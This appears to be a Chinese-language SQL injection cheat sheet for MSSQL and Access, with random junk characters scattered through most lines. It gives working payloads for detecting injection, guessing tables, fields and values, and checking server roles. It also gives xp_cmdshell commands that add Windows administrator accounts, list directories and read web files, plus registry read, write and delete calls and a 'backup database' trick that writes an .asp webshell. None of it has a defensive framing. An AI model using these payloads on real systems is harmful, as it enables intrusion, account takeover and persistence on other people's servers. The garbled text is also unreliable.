1.判断是否有注入;and 1=1 ;and 1=2 U(6=;+q
2.初步判断是否是mssql ;and user>0 *Dhy a g
nj4G8/U-q
3.注入参数是字符'and [查询条件] and ''=' A(@VjXl
"i^<
H
4.搜索时没过滤参数的'and [查询条件] and '%25'=' V48o+ O
))xP]Mu v
5.判断数据库系统 Oz1S*<]=,~
MhL>6rn
;and (select count(*) from sysobjects)>0 mssql TbQ5
"CTK%be{q/
;and (select count(*) from msysobjects)>0 access @,Kl"i;
igO,Ge8}
U9t-(`[j?
zDohp 5,
6.猜数据库 ;and (select Count(*) from [数据库名])>0 %8c2d
lF#p1H>\
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 9#MY(Hr
jU2vnGw_
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 !v\_<8
Yc3Rq4I'G
9.(1)猜字段的ascii值(access) n6C]JWG\/U
vp4NH]fJ
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 .P#+V$qhv
b-OniMq~
(2)猜字段的ascii值(mssql) Bm$(4
_j sJS<21
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 HP(dhsd<c
lO/?e!$
10.测试权限结构(mssql) :G[6c5j|V
xe@11/F
J.Fy0W@+k4
vE{L `,\q
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- )WH;G:$&"
UAEu.AT
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- L_O*?aaZ
BI|YaZa+p
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 0K'^g0G
|w+N(wcJ
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- "pMx(
Op5S'
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- U#6<80Ke
<HB@j}qi
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- f >$V:e([
M]7>Ar'zsG
;and 1=(select IS_MEMBER('db_owner'));-- EWC{896,
srQ]TYH ,
nh]}KFO h
;"w?@ELE
11.添加mssql和系统的帐户 ZwOX ,D
o"j$*o=
;exec master.dbo.sp_addlogin username;--
{,+MaH
;exec master.dbo.sp_password null,username,password;-- b <z)4
jz$ ]"\G#
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- kHb H{])
@8eQ|.q]Q
;exec master.dbo.xp_cmdshell 'net user username password yvIzgwN%s!
$(fhO
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ZG$PW<73~
k9m9IE"9=$
;exec master.dbo.xp_cmdshell 'net user username password /add';-- Xj5oHHwn
<`?V:};Q
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- vf;&0j&`
5>\~jf
i_f\dkol
;Q>+#5H6F8
12.(1)遍历目录 0sfb$3y
h>"j!|#!s
;create table dirs(paths varchar(100), id int) ac!!1lwA
hxZL/_n'
;insert dirs exec master.dbo.xp_dirtree 'c:\' 2y5d
ybU_x
;and (select top 1 paths from dirs)>0 iHKX#*
C K9FAuU
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) +SNjU"x
gP.PyYUV
^m['VK#?
p(6KJK\
(2)遍历目录 * zt?y
-?p4"[
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- <j}A=SDZ)
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 I=2b)"t0
=/Ph]f9
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 '.{_
7U
Q.,2G7[ <
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 -pW*6??+?
&4{!5r
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 s("\]K
7 T
5m2f\^U
LYO2L1u)
13.mssql中的存储过程 -*$ s ;G#
y.$Ae1a=
xp_regenumvalues 注册表根键, 子键 tID=I0D
k}]M`ad
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 4 '5|YGQj
[H@71+_Q
xp_regread 根键,子键,键值名 |B
{*so]
Z;y(D_;_
;exec xp_regread hgK
4;R
g#:P cl
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 /B<QYvv
E N rcIZ
xp_regwrite 根键,子键, 值名, 值类型, 值 ]d~2WX Y
#%g>^i={ky
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 5?q6g
_tRRIW"Vx"
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 X?U'GLm
cH6++r
xp_regdeletevalue 根键,子键,值名 $!$,cKPl5
&grqRt
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 3sD|R{
@{"?fqo
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 Lp)P7Yt-
#$
4g&8
?I$- im
:(iBLO<x
14.mssql的backup创建webshell C55Av%-=
JwQ/A[b
use model <$u\PJF7_^
i1ScXKO
create table cmd(str image); @'<=EAXe
l b;P&V
insert into cmd(str) values (''); x\oSD1t,
waU2C2!w
backup database model to disk='c:\l.asp'; ]$=#:uf
!t+ 3DMPn
}T-'""*
U!(es0rX
15.mssql内置函数 t.#ara{
qOy0QZ#0
;and (select @@version)>0 获得Windows的版本号 Z~].v._YV)
~+C)0Yn
;and user_name()='dbo' 判断当前系统的连接用户是不是sa c:[ZknnCe
R.cR:fA
;and (select user_name())>0 爆当前系统的连接用户 '&nQ~=3
fejC,H4I
;and (select db_name())>0 得到当前连接的数据库 _+.JTk
3m| C8:
FGzKx9I9
[+_>g4M~%
16.简洁的webshell &$ud;r#
"8R
&c}
use model %/ctt_p0x
*E]:VZl
create table cmd(str image); `FEa(Q+s
LmytO$?2(
insert into cmd(str) values (''); T.jCF~%7F
%DA&txX}w
backup database model to disk='g:\wwwtest\l.asp';